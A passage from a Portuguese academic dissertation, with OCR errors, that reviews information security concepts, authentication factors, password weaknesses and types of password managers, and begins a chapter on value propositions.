através ataques masquerade/phishing (Pang & Liu 2012). Estes consistem na aquisicdo de
credenciais pelo uso de uma “mascara” (fazer-se passar por alguém legitimo), por parte de um
individuo ndo autorizado (Chang, Tai & Chang 2014). Para o combate a estas e outras
adversidades, s3o usados, por exemplo, plugins anti-phishing (SpoofGuard?).

Por ultimo, utilidade (assim como a integridade) é um termo que, como a confidencialidade,
ndo é necessariamente de natureza bindria, ou seja, € um conceito subjetivo, ja que nem
sempre é facil constatar se é realmente aplicado ou ndo (Andress 2014). Esta nocdo é entendida

2 Fonte: https://crypto.stanford.edu/SpoofGuard/ (fevereiro de 2016)
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como o valor, visto por um utilizador, para uma determinada informacdo (Andress 2014; Rao &
Nayak 2014; Whitman & Mattord 2011). Para que tal seja facilmente percebido, pode-se
exemplificar através de uma tentativa de roubo de dados, a uma dada instituicdo. Ora, se o
atacante ndo os compreender, de pouco lhe servird a extorsdo daqueles, pelo que a invasdo
serd em vao (Andress 2014).

Salienta-se ainda que a propriedade em questdo é conjugada com a disponibilidade. Contudo,
os dois conceitos sdo distintos, na medida em que se focam em diferentes atividades. Enquanto
a disponibilidade se centra em temas como temporizacdo e acessibilidade, a restante esta
relacionada com o proveito que se tira dos dados (Fraga, Bankovi¢ & Moya 2012).

2.2.4 Limitagoes do Modelo de Parker

Apesar do modelo proposto por Parker conter inUmeras vantagens, também possui falhas. Mais
especificamente, este ndo contempla certos fatores como é o caso do nao repudio, o que o
torna incompleto (Boyes 2015; Dardick 2010; Hansen, Jensen & Rost 2015). Devido a grande
importancia que a propriedade mencionada tem para a seguranca de um sistema, torna-se
relevante destaca-la. Por isso, esta serd explicada em seguida.

Tendo em conta o significado da palavra repudiar (negar) e o padrdo ISO/IEC anunciado
anteriormente (ISO/IEC 2016), o n3o repudio é admitido como uma caracteristica que procura
assegurar que um determinado evento e seus intervenientes sdao confirmados. Considerando o
mesmo standard, evento é algo que ocorre, quer por acidente, quer propositadamente. Num
contexto mais simplista, esta é conseguida quando se afirma que as entidades envolvidas numa
troca de mensagens sdo quem dizem ser (Andress 2014). Assim, ha a garantia do envio e a
rececdo das missivas trocadas pelos utilizadores, ndo podendo ser estas refutadas futuramente
(Andress 2014, Pfleeger, Pfleeger & Margulies 2015; Whitman & Mattord 2011).

O aspeto em questdao tem diversas maneiras de ser aplicado ao mundo real. Por exemplo, no
artigo de lJie Li e os seus colegas é apresentada uma implementacdo de uma framework para
redes de veiculos ad hoc, que o usa (Li, Lu & Guizani 2015). Para além deste caso, existem
inUmeras entidades, como as empresas de comércio online, que usam este fator para o seu
negdcio. Geralmente, aquelas empregam-no para garantir que, quer os individuos que estdo
interessados num determinado produto, quer os vendedores deste, ndo possam negar as suas
identidades, prevenindo qualquer perigo ou dano para ambos (Hartono et al. 2014).

De modo a implementar tais mecanismos, sdo normalmente empregues técnicas como
timestamps (que contém a data e a hora da criacdo dos dados) ou assinaturas digitais (Andress
2014; Vigil et al. 2015). Porém, estas ndo sdo totalmente fidveis, visto que um individuo ndo
autorizado pode ter acesso a informacdo biométrica ou até outros elementos de uma pessoa.
A estas situagGes, estd também associado a uma Trusted Third Party (TTP). Estas possibilitam a
credibilizacdo (ou ndo) dos intervenientes, e geralmente, tomam a forma de uma pessoa ou
entidade (Zissis & Lekkas 2012).

14



Autenticagao

2.2.5 Conclusdes da Seguran¢a da Informagao

Pelo que foi enunciado sobre a seguranca da informacdo, constata-se que esta se torna
importante para assegurar que o sistema e a sua rede funcionem corretamente e da maneira
esperada. Para que tal possa ser possivel, devem ser consideradas algumas etapas, que
permitem a andlise e a implementacdo de um meio livre de riscos. Neste documento sao
mencionados sete passos, porém estes podem ser substituidos por outros, caso os atuais nao
se demonstrem adequados.

Em harmonia com o anterior conceito, devem ser estabelecidas varias caracteristicas
fundamentais que constituem um conjunto apelidado de triade CID. Esta compde o grupo
essencial para uma salvaguarda bdasica. No entanto, podem ser adicionados fatores
complementares a esta lista (posse, autenticidade e utilidade), de modo a se obter uma
estratégia mais avangada.

Finalmente, ha que ter em conta que, qualquer estrutura que seja adotada, deve atender a
todos os requisitos necessarios para adquirir a estabilidade do ambiente onde o sistema se
insere.

2.3 Autenticagao

Conforme com o que foi dito previamente, existem elementos que podem ser acrescentados
ao grupo da confidencialidade, integridade e disponibilidade. Por esta razao, foi abordado o
modelo concetualizado por Donn Parker. Neste modelo encontra-se definida a autenticidade,
que é um fator de maior relevancia para o projeto. Assim, torna-se necessario relatar como esta
se pratica e a forma como é empregue. Ao longo do presente capitulo, serd explicada a
importancia que tal processo tem, as suas diferencas com um aspeto semelhante (autorizacdo),
os tipos de fatores que podem ser usados e, por fim, as técnicas mais comuns onde os ultimos
sdo incluidos.

2.3.1 O Conceito de Autenticacao

Para que a autenticidade possa ser testada, deve ser aplicada a autenticacdo. Este é o modo de
verificacdo que garante que os dados fornecidos por um utilizador sdo validos. Esta pratica é
executada, por exemplo, em situagGes que se pretende confirmar se alguém é legal, através da
confirmacgao das suas credenciais, perante as que estdo armazenadas e sdo corretas (Andress
2014; Kim & Timm 2014; Pfleeger, Pfleeger & Margulies 2015; Rao & Nayak 2014). O processo
descrito é dividido em duas fases, que sdo admitidas como muito similares, mas que, todavia,
sdo distintas: identificacdo e autenticagdo (propriamente dita). A primeira baseia-se em indicar
uma identidade, e trata-se de um dos passos iniciais a serem tomados, antes de se ganhar
acesso a um sistema. Esta passa pelo fornecimento das credenciais, por parte de uma pessoa
que se quer ligar aquele. J3 a autenticacdo é tomada como a defini¢ao geral, ou seja, o ato de
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apresentar provas que alguém é quem diz ser. Esta também é efetuada aquando o inicio da
sessdo (Andress 2014; Gui, Jin & Xu 2014; Pfleeger, Pfleeger & Margulies 2015). Este ultimo
conceito é habitualmente confundido com o de autorizacado, visto que, muitas vezes, os dois
sdo realizados numa mesma transacdo. Porém, estes sao diferentes. Assim, a autoriza¢do trata-
se de uma acdo inteiramente ligada ao controlo de acessos, e entdo é considerada como a
atividade que garante (ou ndo) a permissdo de acesso a um determinado setor ou a todo o
sistema. Normalmente, esta é efetuada por uma entidade que tenha um estatuto elevado,
como é o exemplo de administradores (Joseph, Kathrine & Vijayan 2014; Liu & Xu 2012). Tal
como se verifica a partir das definicGes enunciadas, deve-se assumir que a identificacdo é o
primeiro passo para o reconhecimento de um individuo. Posteriormente, segue-se a
autenticagdo e, finalmente, a autorizagdo (Joseph, Kathrine & Vijayan 2014).

2.3.2 Fatores de Autenticagao

Para que alguém consiga aceder a um sistema, é necessdrio o uso de algo que seja capaz de
identificar e reconhecer a pessoa, perante o mesmo. Ou seja, para se proceder a esta acao, é
essencial ter como base um meio de verificacdo, que adota a forma de um objeto, caracteristica
hereditaria ou mesmo a cognicdo. Deste modo, existem trés tipos de fatores de autenticacgdo:
de posse, heranca e conhecimento (Andress 2014; Klonovs et al. 2013; Pfleeger, Pfleeger &
Margulies 2015). A primeira indica todos os dispositivos ou produtos que um utilizador possui
(classificacdo habitualmente associada a hardware). Em termos de heranga, um individuo nasce
com tragos biométricos, que Ihe sdo inerentes (por exemplo, impressao digital), que o distingue
dos outros. Finalmente, surge a categoria que engloba todo o conhecimento (identificagdo
pessoal, palavra-chave, etc.) produzido ou obtido. Apesar destas propriedades servirem de base
para a autenticagdo, surgem ainda outros agentes, como é o caso da localizagdo, que se refere
ao local onde alguém se encontra (Talasila, Curtmola & Borcea 2015; Zhang, Kondoro & Muftic
2012).

Sempre que se pretende implementar um sistema seguro, a sua protegdo total por vezes ndo é
tida em conta. Assim, sdo pensadas solu¢des minimalistas constituidas por um Unico fator (SFA,
ou Sigle-Factor Authentication), usando apenas uma das alternativas apresentadas
anteriormente. Esta abordagem oferece uma resposta simples e de baixo custo. Porém, o uso
de SFA pode ndo ser suficiente e, por isso, sdo empregues formas mais robustas, optando-se
pela autenticacdo a partir de dois (2FA, ou Two-Factor Authentication) ou mais fatores (MFA,
ou Multi-Factor Authentication). Estas solugOes sdo cada vez mais utilizadas e aplicam multiplos
grupos de elementos, para complementar o que é oferecido por um Unico (Lawless Research
2016). Contudo, afirmar que estes ultimos tipos sdo mais seguros que SFA, é discutivel.
Assumindo que aqueles recorrem a mais camadas de seguranca, admite-se que, pelo menos,
torna o sistema mais dificil de ser invadido. Todavia, esta situacdo ndo deve ser generalizada,
na medida em que a salvaguarda depende de diversas condi¢cbes, como é o caso da
complexidade de obtencdo das chaves/segredos, em cada nivel (Andress 2014; Liou et al. 2011;
Pfleeger, Pfleeger & Margulies 2015; Rao & Nayak 2014).
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2.3.3 Mecanismos de Autenticacao

Dentro das categorias previamente descritas existem muitos métodos que servem para a
autenticacdo dos utilizadores, variando no seu modo de gestdao e utilizacdo. Entre os mais
comuns encontram-se as chaves eletrénicas (dispositivo), a biometria e as palavras-chave.

A primeira ferramenta (também denominada de hardware/security token) representa um
exemplo de fator de posse, e usa uma metodologia sincrona (uma vez que comunica ativamente
com as aplica¢Ges associadas) e dinamica (visto que muda o seu estado ao longo do tempo)
para a reserva dos dados. Aquela adota a forma de um objeto que possui um visor integrado,
para quando uma senha aleatdria seja requisitada ou produzida, esta possa ser exposta
(Andress 2014; Liou et al. 2011; Pfleeger, Pfleeger & Margulies 2015). Habitualmente, a geragao
do cddigo indicado processa-se de uma de duas maneiras: por via de um evento ou pela
expiracdo temporal. No primeiro caso, deve acontecer algo (por exemplo, premir bot3o) para
qgue o aparelho componha um novo segredo, enquanto no segundo, apds uma certa duracgao,
ocorra a eliminagdo automatica do que se encontra no ecra para dar lugar a outro cadigo (Liou
et al. 2011). O mecanismo em causa recorre ainda a uma técnica que tem como nome chave
descartavel (OTP ou One-Time Password), e suporta a geracdo de um numero Unico (Hoekstra
et al. 2013; Liou et al. 2011). Assim, como se torna percetivel, as chaves eletrénicas distinguem-
se pela portabilidade, bem como pela simplicidade de utilizacdo. Porém, tém como
desvantagens a despesa e o tempo gastos para aquisicdo de um novo dispositivo (por perda ou
consumo da bateria), como também a suscetibilidade a ataques man-in-the-middle. E devido a
estes aspetos que estes sdo pouco usados (Liou et al. 2011).

A biometria é outra forma de autentica¢do, que recorre as caracteristicas que um ser humano
possui (iris, impressdo digital, ...), bem como aos seus comportamentos (assinatura), que o
distinguem dos outros (Bhatt & Santhanam 2013; Izu et al. 2014, Li et al. 2015b). Normalmente,
tal processo exige o uso de uma camara ou de um qualquer sensor que detete, com detalhe, as
caracteristicas de um utilizador, e que as valide (Laghari, Waheed-ur-Rehman & Memon 2016).
Esta pratica tem vindo a ganhar credibilidade, devido ao facto de os recursos para a acreditacdo
serem de dificil replicacdo (sdo inerentes a essa pessoa e, por isso, ndo podem ser usados sem
a presenca desta), e ndo serem esquecidos. Dadas estas duas razdes, tais elementos ndo podem
ser rejeitados (Abidin, Matsuura & Mitrokotsa 2014; Izu et al. 2014; Lawless Research 2016).
Porém, ha que ter em conta que surgem problemas no que toca ao seu preco (sensores caros),
a dificuldade de criagdo destes sistemas (devido a complexidade da andlise) e, por vezes, a
detecdo do fator biométrico (Bolle et al. 2013; Wdjtowicz & Joachimiak 2016).

Como método final de autenticac¢do, as palavras-chave sempre foram (e prevé-se que serdo no
futuro) o modo de restrigdo de acesso aos dados mais utilizado (Boonk, Petrlic & Sorge 2015;
Hintze et al. 2015; Lawless Research 2016; Patel, Chellappa & Barbello 2016), uma vez que,
segundo Li e os seus colegas (Li et al. 2015a), sdo “simples de implementar e usar, e os custos
sdo baixos” (tradugdo). Elas sdo constituidas por um conjunto de caracteres alfanuméricos,
sendo estes memorizados pela pessoa. Geralmente, tais codigos devem ser idealizados com um
grupo elevado de algarismos e letras, e ter significado ou ser uma sequéncia légica para o seu
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detentor. Visto que a opgdo em causa se trata de uma ferramenta de conhecimento, obriga a
uma grande atencdo para a preservacao do segredo, de maneira a que ninguém tenha
permissdo para entrar na sua area pessoal. Contudo, ha quem aplique procedimentos de
engenharia social ou outras, para se obter a informac¢do de forma ilicita (Aliasgari, Sabol &
Sharma 2015; Pfleeger, Pfleeger & Margulies 2015).

2.3.4 Conclusdes da Autenticacao

Atendendo ao que foi referido, assume-se que a autenticacdo é um tdpico bastante relevante
e, por essa razao, ha que a considerar quando se pretende salvaguardar a informacao. Para que
este conceito seja aplicado plenamente, é preciso recorrer a implementacdao de mecanismos
gue envolvam uma ou mais categorias mencionadas previamente (de posse, conhecimento e
heranga). Dentro das alternativas anteriores, destacam-se os fatores de conhecimento, porque
sdo os mais usados até ao presente.

Todavia, antes da escolha das técnicas e do nimero de niveis a serem utilizados, deve-se refletir
sobre as necessidades do sistema e, s6 depois, arranjar uma estratégia para o combate ao risco
e as vulnerabilidades. Executando estes passos, é obtida uma solucdo segura e razoavel.

2.4 Resumo da Autenticidade da Informacgao

Apds ter sido realizado um estudo sobre a informagdo e a sua prote¢do, ha que admitir a
importancia do tema. Por esse motivo, estes devem ser compreendidos, para que sejam
desenvolvidos métodos de defesa.

Considerando o que foi explicado inicialmente no capitulo, a informag¢do é um elemento que se
encontra em qualquer parte, e que obtém varias formas e classificagdes. Esta, caso seja de
carater sensivel, deve ser preservada longe de possiveis atacantes, para que se atinja a
privacidade dos dados. De maneira a assegurar tais situagdes, geralmente sdo empregues trés
caracteristicas (confidencialidade, integridade e disponibilidade). Estas constituem a forma
mais elementar de aplicacdo da salvaguarda da informagdo. No entanto, existem diversos
trabalhos disponiveis em bibliotecas (quer fisicas, quer eletrdnicas) e outros sitios, onde se
podem ser descobertas fontes que indicam que tais propriedades ndo sdo suficientes. Por isso,
sdo aceites termos como utilidade, posse e autenticidade, que complementam os pilares
iniciais. O ultimo, é o que toma o papel de maior relevancia (para além dos principais), visto que
diariamente trabalha-se com problemas relacionados com o seu exercicio. Para além disto, a
autenticidade baseia-se em diferentes meios para a sua pratica. Estes sdo, habitualmente,
catalogados por tipo, podendo admitir uma natureza de posse, conhecimento ou de heranga,
variando consoante os seus atributos. O mecanismo mais usado até a atualidade é a palavra-
chave, contudo, antes de se proceder a escolha de uma solugdo a aplicar num sistema, deve ser
ponderado tudo o que é pertinente, sendo s6 a partir dai vidvel optar por um determinado
modelo de seguranca.
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Em situacOes em que a estrutura a adotar tenha de ser mais robusta (ou seja, considerada como
um traco critico), devem ser usados dois ou mais recursos (2FA ou MFA, respetivamente) para
a autenticacdo. Todavia, ndo é sensato assumir que, sé pela adicdo de camadas, é obtido algo
mais estavel, pois existem vdrios fatores envolvidos, como é o caso da facilidade de obtencdo
das chaves.
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3 Gestores de Palavras-Chave

No ponto precedente do documento ficou provado que a seguranca dos dados é essencial para
a estabilidade dos sistemas informaticos, e foram descritas algumas das técnicas usadas para a
realizacdo da autenticacdo. Para o processamento desta atividade recorre-se, vulgar e
maioritariamente, ao par nome de utilizador/senha, pois, como foi demonstrado previamente,
este é de facil utilizacdo e implementacdo, e os seus custos sdo baixos. Porém, o grupo de
credenciais esta associado a um conjunto de dificuldades.

Neste capitulo, serdo expostas estas adversidades e uma resolugdo para as solucionar (gestores
de palavras-chave). Também serdo indicadas as formas mais comuns de funcionamento, bem
como as diversas categorias admitidas para este género de software.

3.1 Palavras-Chave e seus Problemas

Tal como ja foi mencionado, é importante assegurar que ninguém nao autorizado acede aos
dados pessoais de outros utilizadores, visto que, muitas vezes, estes sdo privados e ndo devem
ser divulgados. Para evitar essas situages, sdo empregues mecanismos de autenticagao,
principalmente usando um nome para identificacdo do individuo e uma password (Aliasgari,
Sabol & Sharma 2015; Yang et al. 2014). Esta abordagem descriminada torna-se bastante
interessante e prevé-se que vai continuar a ser aplicada (Boonk, Petrlic & Sorge 2015), na
medida em que é admitida (Harini & Padmanabhan 2013) como um processo simples e “fornece
as capacidades basicas para a prevencdo de acessos ndo autorizados” (tradugdo). Contudo,
surge uma série de cuidados que sdo discutidos em varias pesquisas e que condicionam a
maneira como este procedimento funciona (Juels & Ristenpart 2014; Yang et al. 2014). A partir
dos exemplos que estdo disponiveis, é assumido que, uma grande preocupacao (sendo a maior)
passa por estabelecer o nivel maximo de seguranga. Para que tal caracteristica seja garantida,
serdo abordados problemas que se prendem com a complexidade na geracdao das palavras-
passe (Li et al. 2014).
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Habitualmente, sdo construidas passwords, como é o caso da sequéncia “123456”. Esta é uma
das mais usadas, segundo um estudo feito a utilizadores regulares da Internet (Garman,
Paterson & Van der Merwe 2015). Como se pode constatar, trata-se de uma senha
demasiadamente simples, o que permite fazer ataques a privacidade. Outros exemplos que se
tornam vulneraveis sdo datas relevantes e palavras na lingua made do utilizador (Juels &
Ristenpart 2014). Ora, para combater tal problema, empregam-se cédigos mais heterogéneos,
ou seja, com um numero de carateres maior, e uma enorme variedade destes. Esta variedade
expressa-se a partir de variagdes entre minusculas e maiusculas, bem como na utilizagdo de
letras, nUmeros e caracteres especiais, como é o caso do simbolo “1” (Aliasgari, Sabol & Sharma
2015). Atualmente, estd provado que, mesmo usando esta ultima aproximacdo, é possivel um
intruso obter a informacdo pretendida (Bonneau, Herley & van Oorschot 2015). Para este fim,
sdo usados ataques de dicionario ou de forca bruta (Juels & Ristenpart 2014). No primeiro, é
elaborada uma lista (manualmente ou recorrendo a fontes web), normalmente com uma
grande diversidade de sequéncias de caracteres, para compara-las com a senha do utilizador.
Assim, todas as combinagGes que ndo estejam nesta lista serdo ignoradas. Porém, hoje em dia,
é possivel alterar esta perspetiva. Ferramentas como o John the Ripper® permitem usar
métodos heuristicos para que, palavras como “c4rrQ” sejam testadas fornecendo a sequéncia
“carro”. Por outro lado, os ataques de forca bruta podem ser vistos como a verificacdo de
conjuntos de letras, algarismos e caracteres especiais, até um determinado nimero de
elementos. Neste tipo de técnica, o mecanismo John the Ripper oferece uma opg¢do que se
serve do modelo de Markov, para dar prioridade a certas letras, que sdo mais comuns (Veras,
Collins & Thorpe 2014).

Para além da dificuldade relacionada com a complexidade das passwords, os utilizadores
enfrentam adversidades no que toca a quantidade destas. Nao é desejavel s6 ter um Unico
segredo paratodas as contas que um individuo possui pois, se este é descoberto, todos os dados
sensiveis estardao comprometidos, o que faz com que seja muito dificil manter a integridade e a
privacidade da informacdo (Aliasgari, Sabol & Sharma 2015; Yang et al. 2014).

3.2 Solugao Encontrada

Atendendo ao que foi enunciado nas seccbes 2.3.3 e 3.1, comprova-se que a manutengdo e
construcdo de credenciais, respetivamente, envolvem um grande esfor¢o. Com o conhecimento
adquirido e a evolugdo tecnoldgica nos ultimos anos, tornou-se possivel a criagdo de métodos
que auxiliam as pessoas nas praticas anteriores. Entre as diversas técnicas existentes, surgem
os gestores de palavras-chave. Estes destacam-se dos demais, pela sua simplicidade de
armazenamento e a geragao de cddigos. Assim, nesta parte do documento, vai ser explicado
com detalhe como é que funcionam, como surgiram, e os tipos de coordenag¢do que oferecem.

3 Fonte: http://www.openwall.com/john/ (marc¢o de 2016)
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3.2.1 O Surgimento e Definicao de Gestores de Palavras-Chave

Com o grande desenvolvimento ocorrido nos ultimos anos, nas dreas da informacdo e
comunicacdo, surgiram novos mecanismos que dao solucdo para os problemas descriminados
previamente: sdo os gestores de palavras-chave, também conhecidos como password
managers. Estes aplicam métodos que ajudam a gerir melhor os recursos para o acesso a
diversos sitios web ou aplicacdes. De maneira mais especifica, estes podem obter a forma de
um programa ou plugin, e facilitam a memorizacdo das senhas, pelo processo de
armazenamento e aquisicdo de dados (Aliasgari, Sabol & Sharma 2015; Juels & Ristenpart 2014;
Li et al. 2014; Yang et al. 2014). Vulgarmente, esta informacgdo é guardada e retirada de um
repositério local ou remoto, em texto simples ou num formato especifico. Para além disto, e de
modo a facilitar o trabalho do utilizador de definir as chaves, alguns destes produtos oferecem
fungdes que geram os segredos automaticamente (Li et al. 2014; Yang et al. 2014).

3.2.2 Mecanismos Usados pelos Gestores de Palavras-Chave

Apds ter sido esclarecido o que é realmente um gestor de palavras-chave, torna-se fulcral
explicar algumas das prdticas mais usadas por estes. Logo, vao ser expostos os conceitos de
Single Sign-On (SSO) e criptografia (Chu 2014).

Geralmente, os password managers empregam a primeira técnica, para realizar a autenticacao
dos utilizadores. Esta destaca-se das restantes, por recorrer a uma Unica forma para proceder
ao acesso dos dados (Stobert & Biddle 2014). Aquela é feita a partir de um nome/identificador
de um utilizador, e de um cddigo (habitualmente denominado master key). Pelo que foi
referido, constata-se que se trata de um método de baixo custo e que simplifica o processo,
sendo por estas razbes frequentemente aplicado no controlo de multiplas contas de servicos
web (Thakur & Gaikwad 2015; Ye et al. 2015). Porém, existem determinados riscos inerentes a
utilizagdo de tais sistemas. Em especifico, graves contratempos associados a descoberta da
master key, na medida em que compromete a confidencialidade da informacdo (Yang et al.
2014). Para o estabelecimento de uma maior seguranga, existem outros meios que oferecem
vantagens, dependendo do cenario em que estes estdo enquadrados. Assim, como alternativa
ao SSO, surge BTP (Biometric Template Protection). Este trata-se de uma ferramenta de
seguranca que transforma um dado biométrico num padrao de comparagdo, sendo guardado
numa base de dados para futuras autenticacGes (Ngo, Teoh & Hu 2015; Yang et al. 2014).

Um outro tipo de estratégia que é aplicada, normalmente, nestes ambientes, é a criptografia.
Esta pratica permite manter a informag¢do segura, convertendo os dados facilmente
compreensiveis, num formato inteligivel (encriptacdo). Ha que salientar que tal processo pode
ser revertido recorrendo a desencriptacdo (Andress 2014; Pfleeger, Pfleeger & Margulies 2015;
Rao & Nayak 2014).

Quando se pretende comunicar uma mensagem encriptada, podem ser usados dois modos: o
simétrico e assimétrico. No primeiro caso, é partilhado um segredo (habitualmente
denominado de chave) entre os multiplos elementos da conversa, para que sejam possiveis a
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codificacdo e leitura da informacgdo. Ora, ainda que seja um método simples, torna-se
vulneravel pois, na comunicacdo do cédigo secreto do emissor para o recetor, este podera ser
intercetado por um outro individuo. Por essa razao, surge uma segunda técnica que, apesar de
obter uma maior complexidade, soluciona o problema referido. Nesta, sdo admitidos dois
elementos: uma senha publica e outra privada. A primeira é, como o seu nome indica, visivel
para qualquer individuo, ao contrario da ultima, que deve ser armazenada longe de acessos
indevidos. Atendendo que estas servem para a codificagdo e o seu processo inverso, os dados
sdo percebidos usando o respetivo par de chaves (Andress 2014; Pachghare 2015; Pfleeger,
Pfleeger & Margulies 2015; Rao & Nayak 2014). A encriptacdo é aplicada, quer no envio dos
dados, quer no seu armazenamento. Para a sua expedi¢do, poder-se-do utilizar mecanismos,
como o protocolo Transport Layer Security (TLS). Este tenta garantir que a comunicac¢do entre
utilizador e possiveis servigos remotos seja estabelecida atendendo as propriedades oferecidas
pela triade CID (Boonk, Petrlic & Sorge 2015). Ja no segundo caso, podem ser usados métodos
como Password-Based Key Derivation Function v2.0 (PBKDF2). De forma breve, este permite a
multipla combinagcdo de uma palavra-passe com um valor aleatério, habitualmente
denominado de salt (Juels & Ristenpart 2014). O resultado sera um hash bastante maior do que
o segredo original, o que o torna mais forte relativamente a sua protecao e menos vulneravel.
No entanto, é preciso ter muita cautela, porque se o salt e/ou o nimero de repeti¢des aplicadas
sdo descobertos por um utilizador ilegitimo, este pode recorrer a um ataque de forga bruta, o
que é efetivo contra este tipo de seguranca (Jaramillo et al. 2015).

3.2.3 Tipos de Gestores

Os gestores de palavras-chave, consoante o meio onde sdo integrados, tém essencialmente trés
classificagdes: locais (ou desktop), baseados na web ou méveis (Aliasgari, Sabol & Sharma 2015;
Fahl et al. 2013). Os primeiros sdo usados para o armazenamento de senhas, tendo como
origem uma base de dados ou outro recurso que se encontre no préprio computador do
utilizador. Ao contrdrio do que se passa com os anteriores, os apoiados na web guardam os seus
dados online, remotamente (por exemplo, na cloud). Finalmente, os ultimos, sdo aplicados em
ambientes moveis, como é o caso dos dispositivos USB (Universal Serial Bus) e smartphones
(Aliasgari, Sabol & Sharma 2015; Fahl et al. 2013; Karole, Saxena & Christin 2011). Na Tabela 2
serd exposta uma comparagdo entre os géneros descritos.

Tabela 2 — Comparacdo dos diferentes tipos de gestores (Aliasgari, Sabol & Sharma 2015; Fahl et al.
2013; Karole, Saxena & Christin 2011)

Tipo de Alojamento Portabilidade Extensdes  Disponibilidade Vulnerabilidades Aplicagdo

Gestor dos Dados Exemplo

Local Local (sistema X v Offline Ataques a dreade  Smart

(Desktop)  proprietario) transferéncia Lock?*
(clipboard)

4 Fonte: https://get.google.com/smartlock/ (marco 2016)
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Baseado Remoto v v Online Ataques de Passbolt>
na web (cloud) dicionario
Movel Dispositivos v X Offline Roubo do Sesame®
externos (por equipamento
exemplo,
USB)

Pela observagao do quadro anterior pode-se afirmar que os gestores web e méveis oferecem
mais vantagens de mobilidade, uma vez que os dados do utilizador estdo disponiveis em
qgualquer lugar; podem ser instaladas extensdes em programas do tipo desktop e web, o que
ndo acontece com os restantes, por ndo suportarem tais tecnologias; as aplicacdes locais e
portateis privilegiam do facto de ndo necessitarem de Internet para realizarem as suas
operacoes; todos os géneros tém os seus problemas; e existem ferramentas para cada
categoria.

Apesar de haver uma tendéncia para se escolher uma alternativa mdvel (devido a razoes de
portabilidade e de disponibilidade), deve-se ter em conta o cendrio apresentado. Assim, o
utilizador deve ponderar parametros como caracteristicas do sistema, ambiente onde estd
inserido, se pretende uma solugdo paga ou gratis, etc. (Aliasgari, Sabol & Sharma 2015; Fahl et
al. 2013; Karole, Saxena & Christin 2011).

3.2.4 Conclusdes da Solugao Encontrada

Nos ultimos tempos houve uma grande progressao tecnoldgica, que possibilitou que fossem
produzidos novos mecanismos que auxiliam as pessoas na gestdo de passwords. Estes utilizam
frequentemente técnicas como SSO e criptografia, para assegurar que ninguém consegue
aceder aos dados dos seus utilizadores. Ora, tais métodos sdo aplicados quer na transmissao,
quer no armazenamento da informagdo.

Por fim, hd que destacar que existem multiplas formas de administra¢do das credenciais: por
via de um software local, ou baseado na web ou moével. Todas elas oferecem uma solugdo
razoavel, todavia, o ultimo tipo tem obtido uma maior relevancia, devido a portabilidade e
disponibilidade. No entanto, ha que ter atengdo aos diversos fatores, que podem influenciar
uma melhor escolha.

3.3 Resumo dos Gestores de Palavras-Chave

Como se concluiu, as palavras-chave sempre foram o modo de autenticagdo mais usado e, pelo
que se prevé, continuardo a ser. Contudo, esta técnica estd associada a um conjunto de
problemas. Estes prendem-se fundamentalmente com o nimero e variedade de carateres, bem

5> Fonte: https://www.passbolt.com/ (marco 2016)
6 Fonte: http://appcrawlr.com/ios/sesame-password-manager (abril 2015)
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como a quantidade de senhas diferentes, empregues nos sitios distintos. Ora, se um segredo
contém poucas letras/algarismos/simbolos, sera facilmente descoberto, mas ja se se usar um
de comprimento elevado, ou este adota uma sequéncia de simples recordacao, ou tera de ser
decorado. Por outro lado, se uma senha singular for usada para aceder a todos os locais, caso
esta seja desvendada, toda a informacdo do individuo estard comprometida. Em contrapartida,
se forem aplicadas multiplas credenciais, pode ser custoso memorizar todos esses dados.
Mesmo adotando um sistema complexo, os cddigos tornam-se suscetiveis a ataques de forga-
bruta ou até de dicionario.

Contudo, recorrendo ao conhecimento cientifico e técnico até ao momento, surgiram
programas capazes de controlar as situacbes mencionadas, denominados de gestores de
palavras-chave. Estes servem-se (normalmente) de um repositério, para guardar os dados, e
aplicam estratégias SSO (entre outras, como BTP) e de criptografia, para manter a seguranca.
Este ultimo método é aplicado quer na transferéncia, quer na guarda da informacgao.

Finalmente, apontam-se trés géneros principais de gestores: locais, baseados na web e mdveis.
Os primeiros destacam-se por ndo dependerem nem de terceiros nem da Internet para a
administracdo dos dados; os segundos, apesar de estarem sujeitos a investidas remotas, sao
estaveis na generalidade; e os terceiros sobressaem por estarem acessiveis em qualquer lugar.
Este Ultimo motivo faz com que os programas médveis sejam os mais procurados. Porém, nem
sempre este tipo de solugdes é ideal, pelo que devem ser adotadas outras.
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Os password managers, tal como todos os outros produtos (quer de hardware, ou de software),
tém uma ou mais particularidades que os distinguem dos restantes mecanismos, dentro da
categoria da seguranca da informacdo. Estas especificidades criam algo que é denominado de
valor, e que é da maior relevancia para qualquer pessoa/organizacdo. Torna-se, portanto,
fundamental perceber como é que este conceito surgiu, qual a necessidade de o criar, o que é
interpretado como ganhos e custos, como é gerado o valor para o consumidor, quais sdo os
diferentes panoramas de negdcios e como estes podem ser modelados. Serdo estes os tépicos
que irdo ser apresentados no presente capitulo.

4.1 Necessidade da Proposta de Valor

David Teece (Teece 2010) explica que “quando se estabelece um negdcio, este, implicita ou
explicitamente, usa um modelo que descreve o desenho ou arquitetura, para os mecanismos
de criacdo, entrega e captura de valor, que aquele emprega” (traducdo). Para além disto,
também indica que “a esséncia do modelo de negdcio estd na definicdo da forma pela qual a
empresa entrega o valor aos clientes, incita os clientes a pagar por este, e converte essas
receitas em lucro” (tradugdo). Posto isto, torna-se relevante apresentar o conceito mencionado.

Este ndo é facilmente definido, uma vez que surgiram varias interpreta¢ées (Broekhuizen 2006;
Shanker 2012). Foram identificados por Woo (Woo 1992) quatro significados diferentes que
apontam para a mesma designacgdo:

e O primeiro indicava que era o bem essencial para a sobrevivéncia e para o conforto das
pessoas, num contexto mais amplo. Esta abordagem é semelhante a de alguns autores
(Rokeach 1973);
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e Qutro, teria a ver com a visdao da sociedade em geral. Neste tipo de abordagem nao
seria considerada a contribuicdo dada as necessidades individuais dos clientes, mas sim
a comunidade;

e Também pode ser visto como aquilo que um individuo deseja ou se esforca por adquirir.
Esta nogao é interpretada como mais focada a nivel individual, que a anterior;

e Finalmente, pode ser definido como o proveito, visto por um utilizador, num
determinado produto. Esta é a que relne mais consensos, pelo que é admitida como a
defini¢ao padrao.

Porém, este contém duas caracteristicas que estdo sempre presentes: valor desejado e
percebido. O primeiro trata-se de bens ou servicos, que estdo na base das necessidades dos
consumidores (Broekhuizen 2006). Enquanto o segundo tem diversas formas de ser expresso.
Desde cerca dos anos 80 até a atualidade, tém vindo a aparecer diversas disparidades no que
toca ao significado de valor percebido. Apesar de existirem muitas formas para este conceito,
serdo apresentadas, em seguida, apenas algumas, com a finalidade de dar ao leitor uma ideia
